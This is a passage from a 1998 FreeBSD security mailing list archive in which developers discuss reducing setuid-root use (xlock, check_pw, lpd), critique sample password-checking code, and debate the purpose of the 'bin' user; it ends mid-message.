hub.freebsd.org (8.8.8/8.8.8) id OAA29999 for freebsd-security-outgoing; Tue, 17 Nov 1998 14:36:35 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA29994 for ; Tue, 17 Nov 1998 14:36:34 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.9.1/8.8.8) id OAA32520 for ; Tue, 17 Nov 1998 14:36:07 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda32518; Tue Nov 17 14:36:01 1998 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.1/8.9.1) id OAA17231 for ; Tue, 17 Nov 1998 14:36:00 -0800 (PST) Message-Id: <199811172236.OAA17231@passer.osg.gov.bc.ca> Received: from localhost.osg.gov.bc.ca(127.0.0.1), claiming to be "passer.osg.gov.bc.ca" via SMTP by localhost.osg.gov.bc.ca, id smtpds17228; Tue Nov 17 14:35:35 1998 X-Mailer: exmh version 2.0.2 2/24/98 Reply-to: Cy Schubert - ITSD Open Systems Group X-Sender: cschuber To: freebsd-security@FreeBSD.ORG Subject: CVSup Proxied via Delegate Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 17 Nov 1998 14:35:35 -0800 From: Cy Schubert Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Has anyone to used delegate to proxy CVSup across a firewall? Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Government of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 14:37:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA00211 for freebsd-security-outgoing; Tue, 17 Nov 1998 14:37:04 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA00199 for ; Tue, 17 Nov 1998 14:36:59 -0800 (PST) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.8.8/8.8.6) with ESMTP id RAA88736; Tue, 17 Nov 1998 17:37:32 -0500 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: drosih@pop1.rpi.edu Message-Id: In-Reply-To: References: <199811170527.VAA23429@apollo.backplane.com> <199811162114.PAA06569@s07.sa.fedex.com> Date: Tue, 17 Nov 1998 17:36:43 -0500 To: Matthew Dillon From: Garance A Drosihn Subject: Re: making 'lpd' under FreeBSD more secure Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Just to include some thoughts from the other thread into this thread, here's the lpd-related proposal from MD: At 10:27 PM -0800 11/16/98, Matthew Dillon wrote: > Ok, here's a limited updated proposal. I've tested > everything except the proposed lpd changes. [...] > (3) > > Add the 'lpd' user and 'lpd' group to master.passwd. > > Fix lpd. lpd runs as root, and lpq and lprm are suid. > Have lpd bind and setuid()/setgid() itself, have > lpq and lprm be setuid() to the lpd user. As he notes in another message, this could mean that the "-s" option for lpr would be disallowed (have it print out '-s cannot be used when lpd is running in secure mode'). The "-s" option does still sometimes prove to be useful at RPI, so I would want to keep it around. Still, I'd always like to close up as many potential security holes as possible, so I'd like to do as much of what Matt is shooting for as can be done without actually losing that option. (we use "-s" for CAP servers, for instance, and should use it on SAMBA servers, to reduce the amount of spool space needed for jobs going thru our print servers) I still haven't had time to *think* about Matthew's proposal, but I wanted to put a summary of it somewhere that I could find it when I have time to think... :-) --- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 15:08:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA05641 for freebsd-security-outgoing; Tue, 17 Nov 1998 15:08:58 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA05636; Tue, 17 Nov 1998 15:08:55 -0800 (PST) (envelope-from karpen@ocean.campus.luth.se) Received: (from karpen@localhost) by ocean.campus.luth.se (8.9.1/8.9.1) id AAA02553; Wed, 18 Nov 1998 00:06:37 +0100 (CET) (envelope-from karpen) From: Mikael Karpberg Message-Id: <199811172306.AAA02553@ocean.campus.luth.se> Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811172200.OAA28976@apollo.backplane.com> from Matthew Dillon at "Nov 17, 98 02:00:34 pm" To: dillon@apollo.backplane.com (Matthew Dillon) Date: Wed, 18 Nov 1998 00:06:37 +0100 (CET) Cc: hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org According to Matthew Dillon: > :Umm... I have seen no one in this discussion mention this, so I'll say it, > :after repeating what someone DID say "Small well audited setuid programs > :are not a problem". Now... Here's my suggestion, my_xlock.c: > : > :int main() { > : char *str; > : FILE *f; > : int done = 0; > : lock_screen(); > : while (!done) { > : str = wait_for_passwd(); > : f = popen("/usr/bin/check_pw", "w"); > : fprintf(f, "%d %s\n", getuid(), str); > : fflush(f); > : if (!pclose(f)) { > : unlock_screen(); > : done = 1; > : } else { > : print_errror("Wrong password"); > : } > : } > : return 0; > :} > : > :Seems simple enough to me, and could be used from scripts and everything. > :All you need is a small util (/usr/bin/check_pw) that is setuid root. According to William McVey: > I believe this all started with the realization that setuid root > shouldn't be needed to verify passwords. A dedicated group could > be created for this task which would be limited to only having read > access to the shadow file. Yes, check_pw can just as well be setgid shadow. The point is, check_pw would be very small (well under 100 lines, I'd guess), and should then be possible to make secure enough to run as setuid root. it also starts and stops pretty fast, doesn't dump core, and otherwise behaves nasty to people who want to exploit it. According to Matthew Dillon: > You didn't clear the environment > you didn't reset the path > you didn't reset the resource limits > you didn't disable signals > you are using popen (even with an absolute path), Why do I need to? I'm not setuid anything to lock the screen. That's why I need to call check_pw, which is setuid, to check my password. And what's wrong with popen() even if I was? According to Matthew Dillon: > :... > : *str = '\0'; > : pw = getpwnam(buffer); > : } > : str++; > : setting = get_setting_and_move_str(&str); > : if (strcmp(pw->pw_passwd, crypt(str, setting)) == 0) > : return 0; > : return 1; > :} > > And you haven't cleared the memory space associated with > either the crypted or unencrypted password info you > just retrieved. True, but it was meant as something more of a pseudo code, not as a bullet- proof "please commit this"-code. That's just one of many things that must be added, ofcourse. According to Matthew Dillon: > :I'm sure there are minor or even major mistakes in the programs above, but > :I think everyone should get the idea, if the problems are just syntax errors, > :and such. The check_pw program should be small enough to be quite possible to > :do as close to 100% bug free as one can hope to get. > > Now, I know I'm being unfair. I'm just trying to point out that > there are a LOT of things an suid program must do to be reasonably > secure, especially if it is going to go off and execute another > program. The check_pw program which is setuid is not executing another program. And as it's SOLE purpose is to check a password and return true or false, it should be quite possible to make it as close to 100% bug free as is possible. According to William McVey: > > while (!isspace(*str)) > > str++; > > /* Zoom!!! right off the end of the string, if there were no spaces in > * the user input (isspace(3) doesn't return true on nulls). > */ Again... I didn't write that piece of code as a suggested code, but more like a well-written pseudo-code. I think this might have been a mistake. I should have used less correct c-code. According to William McVey: > > if (!*str) > > exit(1); > > *str = '\0'; > > /* If I'm root, this would have just scribbled a \0 someplace in memory. > * If I'm setgid to group shadow, it would cause a SIGV. Which would > * *you* prefer? > */ I think you missunderstood something seriously. The process will SEGV no matter if it's run by root. Root is just like any user, until he does a system call that requires authentication. /Mikael To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 15:16:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA07023 for freebsd-security-outgoing; Tue, 17 Nov 1998 15:16:56 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA07003; Tue, 17 Nov 1998 15:16:52 -0800 (PST) (envelope-from karpen@ocean.campus.luth.se) Received: (from karpen@localhost) by ocean.campus.luth.se (8.9.1/8.9.1) id AAA02572; Wed, 18 Nov 1998 00:14:14 +0100 (CET) (envelope-from karpen) From: Mikael Karpberg Message-Id: <199811172314.AAA02572@ocean.campus.luth.se> Subject: Re: Would this make FreeBSD more secure? In-Reply-To: from Robert Watson at "Nov 17, 98 05:02:18 pm" To: robert+freebsd@cyrus.watson.org Date: Wed, 18 Nov 1998 00:14:14 +0100 (CET) Cc: wam@sa.fedex.com, hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org According to Robert Watson: > > int main() { > > char *str; > > FILE *f; > > int done = 0; > > lock_screen(); /* XXXXXX */ > > while (!done) { > > str = wait_for_passwd(); /* XXXXXX */ > > f = popen("/usr/bin/check_pw", "w"); > > fprintf(f, "%d %s\n", getuid(), str); > > fflush(f); > > if (!pclose(f)) { > > unlock_screen(); /* XXXXXX */ > > done = 1; > > } else { > > print_errror("Wrong password"); > > } > > } > > return 0; > > } > > With the use of Xlib and Xwindows, the seemingly innocuous lines above go > through quite a bit of work. Yes, but this program is not a setuid program, and can be basically as incorrect as it wants. The one problem I can think of above is that the password of the user is in the buffer, but then again... the process is run as the user, and will dump core as the user. Or? > The immediate concerns that come to mind are these -- > > 1) PAM would be nice, but if not, include some kerberos code :) Sure, whatever... > 2) The trivial-looking 'lock screen', 'get password', etc routines are the > hard ones. I've never been pursuaded that the basic Xlib functionality is > well audited (I welcome pursuasion :). Ofcourse they are the hard ones, but they are unimportant for the discussion. > 3) A check_pw command used as a client by a seperate screen saver program > should be at least minimally resistant against key searching attacks. > This means possibly adding sleeps, although that is fairly weak all things > considering :). Just load up 60 copies of the process. If check_pw logs all failed logins, that's soon going to be noticed. :-) > It might be nice to just have a file system socket any process can bind to > that mediates access to the authentication system. On the one side of the > socket is any client attempting to authenticate a user (possibly using PAM > as the API, and then some record based protocol over the socket), and on > the other side is Mr Auth Server that listens on the socket, accepts > connections, and is a place where throttling of attempts could be > performed. Similarly, it could take advantage of the SCM_AUTH (or > whatever) uid/gid passing to authenticate the processes on the other side. That's basically the same idea, I guess... you talk over a socket intead of a pipe... it's close to the same thing, at least. /Mikael To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 16:47:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA23310 for freebsd-security-outgoing; Tue, 17 Nov 1998 16:47:13 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mx2.dmz.fedex.com (mx2.dmz.fedex.com [199.81.194.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA23293; Tue, 17 Nov 1998 16:46:58 -0800 (PST) (envelope-from wam@mohawk.dpd.fedex.com) Received: from mx2.zmd.fedex.com (sendmail@mx2.zmd.fedex.com [199.82.159.11]) by mx2.dmz.fedex.com (8.9.1/8.9.1) with ESMTP id SAA00739; Tue, 17 Nov 1998 18:46:21 -0600 (CST) Received: from s07.sa.fedex.com (root@s07.sa.fedex.com [199.81.124.17]) by mx2.zmd.fedex.com (8.9.1/8.9.1) with ESMTP id SAA05958; Tue, 17 Nov 1998 18:46:20 -0600 (CST) Received: from mohawk.dpd.fedex.com (mohawk.dpd.fedex.com [199.81.74.121]) by s07.sa.fedex.com (8.9.1/8.9.1) with SMTP id SAA23057; Tue, 17 Nov 1998 18:46:19 -0600 (CST) Message-Id: <199811180046.SAA23057@s07.sa.fedex.com> To: Mikael Karpberg cc: dillon@apollo.backplane.com (Matthew Dillon), hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? Date: Tue, 17 Nov 1998 18:45:47 -0600 From: William McVey Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mikael Karpberg wrote: >Yes, check_pw can just as well be setgid shadow. The point is, check_pw >would be very small (well under 100 lines, I'd guess), Agreed. >and should then be possible to make secure enough to run as setuid root. Even if the program is made "secure", I still think it would be assigned an excess of privilege if made setuid root. Again, I'm trying to stay focused on the original suggestion of a new group with read access to the password files and the proposed changes to the getpwent code to base access to the shadowed passwords on file permissions rather than "am I root or not root". >And what's wrong with popen() even if I was? popen (at least historically) passes down environment variables (such as IFS and LD_LIBRARY_PATH) which can cause a program popen()ed by a setuid program (or setgid program for that matter) to run code the author perhaps didn't expect. >Again... I didn't write that piece of code as a suggested code, but more >like a well-written pseudo-code. I think this might have been a mistake. >I should have used less correct c-code. I replied pointing out the bug simply to show that even simple (and apparently correct) programs can have mistakes in them, and to demonstrate what I've been trying to convince people of. A new group for programs like xlock or check_pw to be setgid to would be better than requiring these programs to be setuid root. I'm somewhat new on the security list. What does it take to get changes decided on? Does something like this need 'general consensus and running code' (ala IETF), is something like this voted on, or does someone just go out and do it once they get convinced? >I think you missunderstood something seriously. The process will SEGV >no matter if it's run by root. Root is just like any user, until he >does a system call that requires authentication. Yup. I was mistaken about the scribbling in memory without SEGVing. -- William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 17:53:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA00492 for freebsd-security-outgoing; Tue, 17 Nov 1998 17:53:19 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mailhub.ainet.com (mailhub.ainet.com [204.30.40.29]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA00475; Tue, 17 Nov 1998 17:53:16 -0800 (PST) (envelope-from jmscott@ainet.com) Received: from shell.ainet.com (jmscott@shell.ainet.com [204.30.40.108]) by mailhub.ainet.com (8.9.1/8.9.1) with SMTP id RAA10841; Tue, 17 Nov 1998 17:52:43 -0800 (PST) Received: from localhost by shell.ainet.com (4.1/SMI-4.1) id AA04116; for freebsd-security@FreeBSD.ORG; Tue, 17 Nov 98 17:54:29 PST Date: Tue, 17 Nov 1998 17:54:29 -0800 (PST) From: "Joseph M. Scott" To: Robert Watson Cc: Mikael Karpberg , William McVey , hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > It might be nice to just have a file system socket any process can bind to > that mediates access to the authentication system. On the one side of the > socket is any client attempting to authenticate a user (possibly using PAM > as the API, and then some record based protocol over the socket), and on > the other side is Mr Auth Server that listens on the socket, accepts > connections, and is a place where throttling of attempts could be > performed. Similarly, it could take advantage of the SCM_AUTH (or > whatever) uid/gid passing to authenticate the processes on the other side. > > > Robert N Watson > Correct me if I'm wrong but this sounds similar to the way that radius works. The backend logging of radius would need to be changed, but I wouldn't think that to be too much of a problem. Joseph Scott jmscott@ainet.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 19:24:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA09028 for freebsd-security-outgoing; Tue, 17 Nov 1998 19:24:06 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (p9-nas1.wlg.ihug.co.nz [216.100.145.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA09022 for ; Tue, 17 Nov 1998 19:24:02 -0800 (PST) (envelope-from andrew@squiz.co.nz) Received: from localhost (andrew@localhost) by aniwa.sky (8.8.8/8.8.7) with SMTP id OAA02037 for ; Wed, 18 Nov 1998 14:43:55 +1300 (NZDT) (envelope-from andrew@squiz.co.nz) Date: Wed, 18 Nov 1998 14:43:53 +1300 (NZDT) From: Andrew McNaughton X-Sender: andrew@aniwa.sky Reply-To: andrew@squiz.co.nz To: freebsd-security@FreeBSD.ORG Subject: groups In-Reply-To: <199811180046.SAA23057@s07.sa.fedex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Too much of a tangent to to put it into the existing thread: Can someone give me a description of why we have user and group 'bin'? Clearly there's a good deal of variance in whether things get installed as root/wheel or bin/bin. I'm not at all clear on what it is intended to acheive, when it should be used and why. Is there any documentation of the purpose and implications of the groups used by freebsd as installed? Andrew McNaughton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 19:50:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA11409 for freebsd-security-outgoing; Tue, 17 Nov 1998 19:50:32 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (FLEDGE.RES.CMU.EDU [128.2.93.229]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA11392 for ; Tue, 17 Nov 1998 19:50:28 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id WAA28702; Tue, 17 Nov 1998 22:49:45 -0500 (EST) Date: Tue, 17 Nov 1998 22:49:45 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Andrew McNaughton cc: freebsd-security@FreeBSD.ORG Subject: Re: groups In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 18 Nov 1998, Andrew McNaughton wrote: > Too much of a tangent to to put it into the existing thread: Can someone > give me a description of why we have user and group 'bin'? > > Clearly there's a good deal of variance in whether things get installed as > root/wheel or bin/bin. I'm not at all clear on what it is intended to > acheive, when it should be used and why. > > Is there any documentation of the purpose and implications of the groups > used by freebsd as installed? That has never been entirely clear to me. Bin is one of a whole class of users that, if the /usr partition is on a writable file system, is essentially equivilent to the root user. That is, the root user executes programs owned by the user bin (and others) almost constantly during routine activities. Anyone acting as user 'bin' could trojan any of the system binaries quite effectively to obtain root access. This is the case for any binary run by root (we all recall why never to put the current directory in the path :). This is in fact quite serious in a few cases. For example, the UUCP account owns a number of binaries in the root path. At first this seems not-too-serious, as you ask yourself how often do I run these? :) The you realize that the daily script runs them every night as root (uustat I think). Therefore within 24 hours, anyone who has cracked the UUCP account, if /usr is writable, also has root access. So a buffer overflow in a uucp program can result in root access even though the uucp binaries are usually only setgid, or setuid uucp. (uuname for example) It seems good intuitively to have binaries owned by different users, but no particularly good reasons come to mind for having everything owned by bin. Except possibly in the case that /usr is NFS mounted, and the NFS server does not wish to export root writability on the FS? Even that seems pretty lame as reasons go. Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 23:52:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA28407 for freebsd-security-outgoing; Tue, 17 Nov 1998 23:52:08 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id XAA28400 for ; Tue, 17 Nov 1998 23:52:06 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0zg2Op-00036n-00; Wed, 18 Nov 1998 00:51:39 -0700 Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.1/8.8.3) with ESMTP id AAA15650; Wed, 18 Nov 1998 00:51:19 -0700 (MST) Message-Id: <199811180751.AAA15650@harmony.village.org> To: andrew@squiz.co.nz Subject: Re: groups Cc: freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Wed, 18 Nov 1998 14:43:53 +1300." References: Date: Wed, 18 Nov 1998 00:51:18 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message Andrew McNaughton writes: : Too much of a tangent to to put it into the existing thread: Can someone : give me a description of why we have user and group 'bin'? No. We don't have these group/user. They were removed because they were bogus and negatively added to security, especially when files were exported via nfs. Having files owned by bin doesn't buy you anything except an extra user. This is as of 3.0, the 2.x systems will still have these users. Actually, 3.0 has them also, but it doesn't actually use them except for the ports that haven't been updated. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 01:25:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA07516 for freebsd-security-outgoing; Wed, 18 Nov 1998 01:25:50 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA07509 for ; Wed, 18 Nov 1998 01:25:48 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id KAA11484 for ; Wed, 18 Nov 1998 10:25:19 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id KAA26124 for ; Wed, 18 Nov 1998 10:25:18 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id KAA11824 for ; Wed, 18 Nov 1998 10:25:19 +0100 (CET) Message-ID: <19981118102515.A1623@internal> Date: Wed, 18 Nov 1998 10:25:15 +0100 From: Andre Albsmeier To: Peter Jeremy , security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <98Nov18.075152est.40335@border.alcanet.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <98Nov18.075152est.40335@border.alcanet.com.au>; from Peter Jeremy on Wed, Nov 18, 1998 at 07:52:13AM +1100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 18-Nov-1998 at 07:52:13 +1100, Peter Jeremy wrote: > Andre Albsmeier wrote: > >I just was alarmed by xlockmore that a program runs setuid root all the time > >only to check the password the user enters. > In the case of xlockmore (and similar programs), the logical approach > would seem to be to split the functionality into two processes: the > parent process remains privileged(*), but all it would do is seize the > keyboard/mouse, blank the screen and spawn children to actually display > the pretty patterns. The children don't need to be priviledged, and if > one crashes, the parent can just start another. > > An alternative approach would be to have the entire saver run non- > privileged and call a privileged program to check the password. > Securely writing the password checking program (so it couldn't be > used for password cracking) is non-trivial. Isn't that a bit overkill if we have a simpler solution? > > > And, regardless whether xlockmore > >has known bugs or not, > xlockmore-4.10 definitely does have bugs - several of the standard saver > modes will die with SIGFPE (suddenly unlocking your screen). Never (and I mean never :-)) saw that on my 14 machines. But I have to say that I left out some of the modules (the ones that suck cpu time). > > (*) Currently, this means setuid root, but all it needs is sufficient > privileges to validate a password. > > Peter -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 01:53:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA09683 for freebsd-security-outgoing; Wed, 18 Nov 1998 01:53:06 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gw-nl1.philips.com (gw-nl1.philips.com [192.68.44.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA09678 for ; Wed, 18 Nov 1998 01:53:03 -0800 (PST) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1]) by gw-nl1.philips.com with ESMTP id KAA20585 for ; Wed, 18 Nov 1998 10:52:35 +0100 (MET) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-eur1.philips.com(130.139.36.3) by gw-nl1.philips.com via mwrap (4.0a) id xma020582; Wed, 18 Nov 98 10:52:35 +0100 Received: from hal.mpn.cp.philips.com (hal.mpn.cp.philips.com [130.139.64.195]) by smtprelay-nl1.philips.com (8.8.5/8.6.10-1.2.2m-970826) with SMTP id KAA24768 for ; Wed, 18 Nov 1998 10:52:34 +0100 (MET) Received: (qmail 5485 invoked by uid 666); 18 Nov 1998 09:52:55 -0000 Date: Wed, 18 Nov 1998 10:52:55 +0100 From: Jos Backus To: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? Message-ID: <19981118105255.A3308@hal.mpn.cp.philips.com> References: <199811161838.MAA25024@s07.sa.fedex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.94.10i In-Reply-To: <199811161838.MAA25024@s07.sa.fedex.com>; from William McVey on Mon, Nov 16, 1998 at 12:38:11PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Nov 16, 1998 at 12:38:11PM -0600, William McVey wrote: > For years xterm has had support for ptyd, a small daemon program > written by Kevin Braunsdorf which would hand out ptys in a secure > fashion. It can be found at: ftp://ftp.physics.purdue.edu/pundits/ Also, there's ftp://koobera.math.uic.edu/pub/software/ptyget-0.50.tar.gz, which serves a similar purpose. -- Jos Backus _/ _/_/_/ "Reliability means never _/ _/ _/ having to say you're sorry." _/ _/_/_/ -- D. J. Bernstein _/ _/ _/ _/ Jos.Backus@nl.origin-it.com _/_/ _/_/_/ use Std::Disclaimer; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 03:24:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA19610 for freebsd-security-outgoing; Wed, 18 Nov 1998 03:24:04 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA19556 for ; Wed, 18 Nov 1998 03:23:46 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id KAA18646 for ; Wed, 18 Nov 1998 10:48:23 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id KAA06878 for ; Wed, 18 Nov 1998 10:48:23 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id KAA12144 for ; Wed, 18 Nov 1998 10:48:24 +0100 (CET) Message-ID: <19981118104819.A1664@internal> Date: Wed, 18 Nov 1998 10:48:19 +0100 From: Andre Albsmeier To: William McVey Cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811161838.MAA25024@s07.sa.fedex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811161838.MAA25024@s07.sa.fedex.com>; from William McVey on Mon, Nov 16, 1998 at 12:38:11PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 16-Nov-1998 at 12:38:11 -0600, William McVey wrote: > [ This is a fairly long reply. The last paragraph has some > info related to xterm's need for root permissions of possible > interest. ] > > I'm in favor of the proposed change to allow some group (for discussion > sake, lets call it group 'shadow') read permission to the shadow file. > Unfortunatly, it's not enough. The getpwnam (and family) needs to be > modified to base their access method on access to the file as opposed to > a "root or not-root" check. The routine __initdb() in > /usr/src/lib/libc/gen/getpwent.c seems to be the place to make the change... > (I code the propose "patch" very quickly, it should defintly be 